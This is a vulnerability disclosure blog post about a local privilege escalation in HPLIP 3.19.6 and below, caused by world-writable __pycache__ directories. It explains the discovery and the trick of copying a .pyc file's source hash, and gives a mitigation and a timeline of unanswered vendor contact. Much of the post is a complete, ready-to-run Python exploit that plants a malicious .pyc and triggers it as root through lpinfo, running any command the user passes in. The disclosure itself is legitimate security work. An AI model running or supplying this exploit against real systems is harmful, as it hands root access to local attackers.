Privilege escalation in HPLIP

tl;dr: Default installations of HPLIP version 3.19.6 and below are vulnerable to a local privilege escalation 0-day that is important but not critical due to its setup. It is due to a world-writable directory containing compiled python files.

Vulnerability discovery

A few month ago I decided to look for world-writable directories on my system to get an idea of my exposure. This is a simple find command from which two directories emerged:

$ find / -type d -perm -007

/usr/share/hplip/prnt/__pycache__
/usr/share/hplip/base/pexpect/__pycache__

HPLIP (HP Linux Imaging and Printing) is an HP Inc project that proposes better integration of HP products on Linux.

../image/gekkan_shoujo_peek.png

They contained compiled python files, bytecode files that are produced when importing a library and cached for performance. Since they're loaded on subsequent access they're effectively executables.

/usr/share/hplip/base/pexpect/__pycache__:
total 128
-rw-r--r-- 1 root cups 65211 Jul 13  2018 __init__.cpython-36.pyc
-rw-r--r-- 1 root cups 63065 Jun  4 07:17 __init__.cpython-37.pyc

/usr/share/hplip/prnt/__pycache__:
total 92
-rw-r--r-- 1 root cups 22289 Jul 13  2018 cups.cpython-36.pyc
-rw-r--r-- 1 root cups 22236 Jun  4 07:17 cups.cpython-37.pyc
-rw-r--r-- 1 root cups   116 Jul 13  2018 __init__.cpython-36.pyc
-rw-r----- 1 root cups   120 Jun  5 07:27 __init__.cpython-37.pyc
-rw-r--r-- 1 root cups  8934 Jul 13  2018 ldl.cpython-36.pyc
-rw-r--r-- 1 root cups 12439 Jun  4 07:17 ldl.cpython-37.pyc
-rw-r--r-- 1 root cups  1522 Jul 13  2018 pcl.cpython-36.pyc
-rw-r--r-- 1 root cups  2116 Jun  4 07:17 pcl.cpython-37.pyc

Later investigation showed that these files were imported by HPLIP on different occasions. It seemed related to listing available printers in CUPS notably when adding a new one, but later investigation showed that using lpinfo -v removes the need to use the CUPS web interface.

So we have a bunch of executables owned by root in a directory that any user can mess with and that can be triggered by poking the CUPS server, what could go wrong?

Exploitation

The basic idea is as follow:

  • Write our own compiled python file that runs a command of our choice

  • Replace one of the HPLIP PYC file with our own

  • List printers through lpinfo

  • Drink to our success as our PYC file is executed with root privileges

Easy right? Quite: there are two problems we need to take care of beforehand. The first one is that listing printers in CUPS can only be done by someone in the sys group. From there on we'll assume that our user in in that group.

We can verify easily that HPLIP files are executed by deleting the content of /usr/share/hplip/prnt/__pycache__ (don't worry, it's only cache) and executing lpinfo -v. We see that the four files are recreated. Replacing any of these file by our own would trigger the issue.

The other real issue is to write our own PYC file. Of course we could study the file format but it's much easier to ask python to compile our source file directly. This can be done using the standard library module py_compile.

import py_compile
open("/tmp/test.py", "w").write("print('Hello')")
py_compile.compile("/tmp/test.py")
# /tmp/__pycache__/test.cpython-37.pyc

This seems easy enough, but if we try we quickly notice that it doesn't work as expected: python completely ignores our PYC file, removes it and writes his own. And thinking about it it's normal: this is a cache file, it must have some way to check that the original source file wasn't changed. Since our PYC doesn't correspond to the original file python assumes that the source file has been changed and recompiles it.

Armed with that idea we start looking for a hash of the source file in the compiled one. Sure enough, after some trial and errors, bytes 8 through 16 correspond to a hash. Which one? I didn't care to find out, I just copied the original PYC's hash into my own and it was properly executed when calling HPLIP.

../image/gekkan_shoujo_quickvic.png

Exploit

Here is the final exploit in all its splendor, tried on a stock Manjaro installation which has HPLIP and cups running by default, from a user named "test" whose only groups were sys test.

../image/hplip_exploit_proof.png
#!/usr/bin/env python3

import os
import subprocess
import py_compile
import tempfile
import base64
import requests

def check_dir(path):
    if not os.path.isdir(path):
        return None

    pycache_path = os.path.join(path, "__pycache__")

    if not os.path.exists(pycache_path):
        trigger_add_printer()

    if os.access(pycache_path, os.W_OK):
        return pycache_path
    return None


def pyc_compile_file(path):
    fo = tempfile.mktemp()
    py_compile.compile(path, cfile=fo)
    result = open(fo, "rb").read()
    os.remove(fo)
    return result


def pyc_get_hash(filename):
    # If necessary, add-printer once to pre-load pyc files
    if not os.access(filename, os.R_OK):
        init_path = os.path.join(os.path.dirname(os.path.dirname(filename)),
                                 "__init__.py")
        content = pyc_compile_file(init_path)
    else:
        content = open(filename, "rb").read()
    return content[8:16]


def pyc_content(cmd, pyc_hash):
    content = 'import os\nos.system(""" %s """)' % cmd
    fi = tempfile.mktemp()
    open(fi, "wb").write(content.encode("utf8"))
    raw = pyc_compile_file(fi)
    os.remove(fi)
    return raw[:8] + pyc_hash + raw[16:]


def main():
    if len(os.sys.argv) < 2:
        print("Usage: %s CMD" % os.sys.argv[0])
        return 1

    cmd = os.sys.argv[1]

    print("[+] Check that /usr/share/hplip/ contains 777 directories")
    vulnerable_dir = (check_dir("/usr/share/hplip/prnt") or
                      check_dir("/usr/share/hplip/base/pexpect"))

    if vulnerable_dir is None:
        print("[!] hplip not available or not vulnerable")
        return 1
    print("[-] Found: %s" % vulnerable_dir)

    print("[+] Write and compile an __init__.py file")
    init_file_name = sorted(filename
                            for filename in os.listdir(vulnerable_dir)
                            if "__init__" in filename)[-1]

    init_file_path = os.path.join(vulnerable_dir, init_file_name)

    print("[+] Recover the original pyc hash")
    pyc_hash = pyc_get_hash(init_file_path)

    print("[+] Write the new pyc file in the vulnerable directory")
    os.remove(init_file_path)
    open(init_file_path, "wb").write(pyc_content(cmd, pyc_hash))

    print("[+] Call lpinfo to list printers and trigger command")
    if subprocess.call(["lpinfo", "-v"]) != 0:
        print("[!] lpinfo failed, are you in the 'sys' group?")
        return 1

    print("[+] Success (probably)!")
    return 0

if __name__ == "__main__":
    main()
../image/gekkan_shoujo_victory.png

Impact and follow-up

Privilege escalations should never be treated lightly but they require to already have access to the system. Furthermore access to the sys group is seldom given to users that aren't already part of the sudo group. If that situation arises though then this exploit is quite effective.

At the moment Manjaro releases at least are vulnerable out of the box and no patch exists. I've tried several times to alert the HP team behind HPLIP of this issue but received no answer. Following the common 90 days deadline I'm releasing this in the wild in hope to alert users and manufacturers alike.

The only local fix I know is to remove all access to /usr/share/hplip for users that aren't in the correct group. It might have unforeseen effects, but simply deleting or changing the rights of the __pycache__ directories is useless: HPLIP automatically changes the rights back to 777.

sudo chmod 750 /usr/share/hplip

Timeline

  • 2019/06/04: Discovery

  • 2019/06/06: First mail to HP — No answer

  • 2019/08/29: Second mail to HP — No answer

  • 2019/09/06: Third mail to HP — No answer

  • 2019/12/06: Public disclosure

../image/gekkan_shoujo_grumpy.png

Image sources